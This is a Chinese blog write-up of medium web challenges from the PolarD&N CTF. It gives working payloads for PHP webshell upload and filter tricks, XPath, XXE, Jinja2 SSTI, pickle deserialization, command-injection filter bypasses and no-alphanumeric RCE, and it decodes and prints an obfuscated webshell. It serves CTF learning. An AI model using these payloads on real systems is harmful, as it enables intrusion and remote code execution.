PolarD&N-CTF-web方向-中等

(由于发现中等题里面有许多新的知识点,所以特意拉了一个新的博客来展示)

目录

0x01 到底给不给flag呢(中等)

0x02 写shell(中等)

0x03 注入(中等)

0x04 某函数的复仇(中等)

0x05 xxe(中等)

0x06 SSTI(中等)

0x07 unpickle(中等)

0x08 BlackMagic(中等)

0x09 反序列化(中等)

0x0A 找找shell(中等)

0x0B 再来ping一波啊(中等)

0x0C wu(中等)

0x0D 代码审计1(中等)

0x0E 你的马呢?(中等)

0x0F ezphp(中等)

0x10 随机值(中等)

0x11 phpurl(中等)


0x01 到底给不给flag呢(中等)

 代码审计

需要get一个flag和post一个flag。然后看了眼函数,其中foreach加上$$是经典的变量覆盖语句。但是post方法里面的$value没有$$。所以我看了wp,想起来POST是可以不用传的。因为isset那里面是&&连接。所以直接get传参一个flag。

先c=flag然后让flag=c。这样被解析之后,就是$c=$flag&$flag=$c。从而达到真正输出flag的作用。而不会用一个变量c把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag。payload:

?c=flag&flag=c

 然后就得到了flag。

0x02 写shell(中等)

源码:

<?php

highlight_file(__FILE__);

file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);

?>

 我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。我去看了wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:

?filename=php://filter/convert.base64-decode/resource=shell.php

content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg== 

 其中base64加密的内容:<?=@eval($_POST[1]);?>

然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:

在根目录找到了flag。

0x03 注入(中等)

进题点一下User的选项然后抓包,发现了id=1的注入点。但是尝试了好久发现sql注入和ssti注入都是不行的。看了wp才知道是XPATH注入:

尝试一下XPATH注入万能钥匙,payload:

?id=']|//*|//*['

然后就得到了flag。

0x04 某函数的复仇(中等)

由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:

?root=;}system('ca\t /f*');/*

shaw=create_function

?root=;}system('ls');/*

shaw=create_function

然后就得到了flag。

0x05 xxe(中等)

进题只有一个phpinfo的界面,尝试更改c参数但是没用。然后去看了眼wp,发现可以通过phpinfo查看版本,找到是xxe漏洞。用dirsearch扫一下目录,找到了/dom.php,进入访问:

然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:

<?xml version = "1.0" encoding="utf-8"?>

<!DOCTYPE xxe [
<!ELEMENT name ANY >
 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>

然后就得到了flag。

0x06 SSTI(中等)

简单的ssti,先随便给个{{6*6}}发现回显36,说明是SSTI中的python-flask模块的Jinjia2模板。(或者是php的一个模板)我们尝试直接用Jinjia2模板的payload:

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /f*").read()')}}

然后就得到了flag。

0x07 unpickle(中等)

pickle反序列化,这是源码:

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        return user
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

需要我们在cookies中传入pickle反序列化并获得我们需要的信息。本来这题用了system读取,发现得不出答案。于是去看了wp,发现不用权限,它自己的权限就可以直接open().read()了。然后就直接构造:

import os
import pickle
import base64
import requests

class RCE:
    def __reduce__(self):
        return eval, ("open('/flag','r').read()",)
        # return eval, (f"__import__('pickle').loads({f})",)


a = RCE()
payload = base64.b64encode(pickle.dumps(a))
print(base64.b64decode(payload))
#pickle.loads(base64.b64decode(payload).replace(b'os', b'').replace(b'reduce', b'').replace(b'system', b'').replace(b'env', b'').replace(b'flag', b''))
print(payload)

然后得到的base64直接传参:

然后就得到了flag。

0x08 BlackMagic(中等)

进题可以访问一个子域名,我们直接进去访问。然后在源码中找到了真正的源码,去掉了无关的东西之后,大致是这样的:

<?php
    $strTmp="payload";
	$strCharList = "\r\n\0\x0B ";
	$strFlag = "\r 	xxxxx...xxxxx	 \n";
    $strContent = trim($strFlag, $strCharList);
    if($strTmp == $strContent)
    {
        echo "flag{xxx...xxx}";
    }
?>

 代码审计,需要输入一个$strTmp,我们先看看$strContent这个变量在trim之后是什么,其中trim()函数是用来删除指定字串的东西的。我们直接将其输出并且看看urlencode之后的$strContent是什么:

%09xxxxx...xxxxx%09

 我们输入payload:

?strTmp=%09xxxxx...xxxxx%09

 然后就得到了flag。

0x09 反序列化(中等)

进题给了源码,我们将他整理一下:

<?php
class example
{
    public $handle;
    function __destruct()
    {
        $this->funnnn();
    }

    function funnnn()
    {
        $this->handle->close();
    }
}

class process
{
    public $pid;
    function close()
    {
        eval($this->pid);
    }
}
if (isset($_GET['data'])) {
    $user_data = unserialize($_GET['data']);
}
?>

说明我们要输入一个data,然后pop链如下:

example::destruct()->example::funnnn()->process::close()

 那么我们直接开始构造:

然后直接进入题目看看回显。发现ls之后直接回显了flag。

0x0A 找找shell(中等)

代码审计题,附件拿到了一个php的源码,整理一下:

<?php
$O00OO0 = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O = $O00OO0{3} . $O00OO0{6} . $O00OO0{33} . $O00OO0{30};
$O0OO00 = $O00OO0{33} . $O00OO0{10} . $O00OO0{24} . $O00OO0{10} . $O00OO0{24};
$OO0O00 = $O0OO00{0} . $O00OO0{18} . $O00OO0{3} . $O0OO00{0} . $O0OO00{1} . $O00OO0{24};
$OO0000 = $O00OO0{7} . $O00OO0{13};
$O00O0O .= $O00OO0{22} . $O00OO0{36} . $O00OO0{29} . $O00OO0{26} . $O00OO0{30} . $O00OO0{32} . $O00OO0{35} . $O00OO0{26} . $O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
?>

其中的几个变量定义如下,我们将其一个一个输出看看都是什么效果。四个变量从上到下依次是:

$O0OO00 = $O00OO0{33} . $O00OO0{10} . $O00OO0{24} . $O00OO0{10} . $O00OO0{24};

#strtr
$OO0O00 = $O0OO00{0} . $O00OO0{18} . $O00OO0{3} . $O0OO00{0} . $O0OO00{1} . $O00OO0{24};

#substr
$OO0000 = $O00OO0{7} . $O00OO0{13};

#52
$O00O0O .= $O00OO0{22} . $O00OO0{36} . $O00OO0{29} . $O00OO0{26} . $O00OO0{30} . $O00OO0{32} . $O00OO0{35} . $O00OO0{26} . $O00OO0{30};

#base64_decode

我们将最后一个变量带入表达式,然后得到了一串解密后的可执行表达式:

$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

其中又多了一个变量,以及一个新的eval函数。将eval中的表达式用这个变量代替,然后修改参数,解密后的eval如下:

eval('?>'.base64_decode(strtr(substr($O0O000,104),substr($O0O000,52,52),substr($O0O000,0,52))));

然后我们将其中substr的三个参数输出之后再放入其中,得出了这三条语句:

然后我们用这三条进行strtr的更换操作,得出此base64:

PD9waHAgQGV2YWwoJF9QT1NUWyd1c2FtJ10pOyA/Pg==

 用php自带的base64解密,发现是一句话木马:

<?php @eval($_POST['usam']); ?>

 然后去扫描一下原题中的目录,扫到了/shell.php。我们直接拿去蚁剑连接就行了:

在当前目录找到了flag。

0x0B 再来ping一波啊(中等)

进题是一个要ping的文本框:

那么我们尝试了好多payload,手测需要的函数过滤了:ls、cat、tac、空格、index。那么我们用引号绕过或者反斜杠绕过。然后由于当前目录只有index.php,我们尝试读取根目录,发现"/"被ban了。那我们先读取index.php吧。用变量拼接绕过,payload:

127.0.0.1;a=inde;b=x.php;ca\t$IFS$a$b

 发现我们读出了源代码:

然后在源码中找到了flag。

0x0C wu(中等)

很正常不过滤什么符号的无数字无字母rce:

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
    die("no!");
}
@eval($a);
?>

什么符号都没有过滤,那么我们用异或、取反、自增都是可以的,这里用的是异或:

$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

然后给_传参命令发现回显了,这时候可以直接伪协议、tac、蚁剑连接读取被执行的flag。我们用tac最方便,然后就得到了flag。

0x0D 代码审计1(中等)

本题考察的是php原生类的寻找和利用,详情可见coleak师傅博客:CTF中常用的php原生类总结_ctf php代码-CSDN博客

<?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
           die("flag is no here!");
} else {
    $xsx = $_GET['xsx'];
    echo new $sys($xsx);
}

源码中echo new $sys($xsx)可以看出是原生类的利用。我们发现这题是读取文件,所以用的是类SplFileObject,然后由于第一个if时xsx并没有赋值,所以第一个if是没用的。我们直接payload:

?sys=SplFileObject&xsx=flag.php

 然后发现读取不出来。然后去看了wp,发现被执行了,重新payload:

?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

 

然后拿去base64解密就得到了flag。

0x0E 你的马呢?(中等)

进题先随便上传一张图片,png是可以上传的,然后准备上传木马。

方法1:

发现它上传后缀之后,会说“后缀”恭喜你。那么考虑Apache双后缀绕过检测,payload:

然后进入访问,发现马已经传入了。我们直接进去蚁剑连接就行了。当时打比赛的时候用的是另一种方法。

方法2:

http://40a000ef-42f4-4e3c-ac10-f3f7b36e7089.www.polarctf.com:8090/index.php?file=upload.php

 这是比赛url中的文件上传,考虑文件包含。我们尝试一下file=/etc/passwd

发现确实包含了。那么就不用传php文件了,我们直接传jpg或者题目要求的jsp就可以了,然后直接在file里面包含这个文件,木马就可以传入了。然后我们蚁剑连接就行了。flag在根目录。

0x0F ezphp(中等)

进题看到一句提示:

那么应该是存在/robots.txt。果然:

又是文件上传题,先去看看三个子域名的用处。发现/file子域名用来文件包含,/uploads里的upload.php用来上传,images用来储存。那么随便上传一个图片包含一句话木马就可以得到答案了,提示文件上传成功,并在images文件夹中找到了shell.jpg了:

那么我们去/file那里文件包含,payload:

/file/file.php?filename=../uploads/images/shell.jpg

 发现回显了GIF89a说明木马被执行了,然后连接蚁剑。但是这题找了好久都没有找到flag。最终在根目录下的home文件夹里的webuser里找到了:

然后就得到了flag。

0x10 随机值(中等)

进题看源码:

<?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}
if(isset($_GET['sys'])){
    $a = unserialize($_GET['sys']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?>

我们需要反序列化一个Index类并且让里面的$Polar1和$Night赋值为一个随机数。按照概率来讲,只要用bp发包10000次就可以获得flag了。但是我们直接把$Polar2和$Light一起改了就可以了,直接手打反序列化的payload。其中pivate和protected的反序列化方式可见文章:PHP反序列化&魔术方法详细解析及实例&公私有属性对比_反序列化私有变量-CSDN博客

?sys=O:5:"Index":4:{s:13:"%00Index%00Polar1";i:5;s:13:"%00Index%00Polar2";i:5;s:8:"%00*%00Night";i:5;s:8:"%00*%00Light";i:5;}

 然后就得到了flag。

0x11 phpurl(中等)

题目中的附件内容:

解码后是index.phps的备份文件,我们去看看源码:

把源码复制下来到phpstorm里面做实验就行了。发现它中间有一个urldecode进行转换。首先我们需要的是通过最后一个if语句。一个字符串在php弱比较中如果要通过,有三种可能:

1. "php"=="php"

2. "php"==0

3. "php"==TRUE

而这三点在php中可能可以实现,但是在url解码之后是不能实现后两个的。第一个会被前面那个if给拦截。所以我们需要用url编码一下字母,其中s的ASCII码值是115,十六进制为73。所以我们在phpstorm里面尝试:

发现成功输出了。那么我们只需要再给%加密一次就可以了,那么最终payload:

?sys=xx%2573

 然后就得到了flag。

  • 9
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值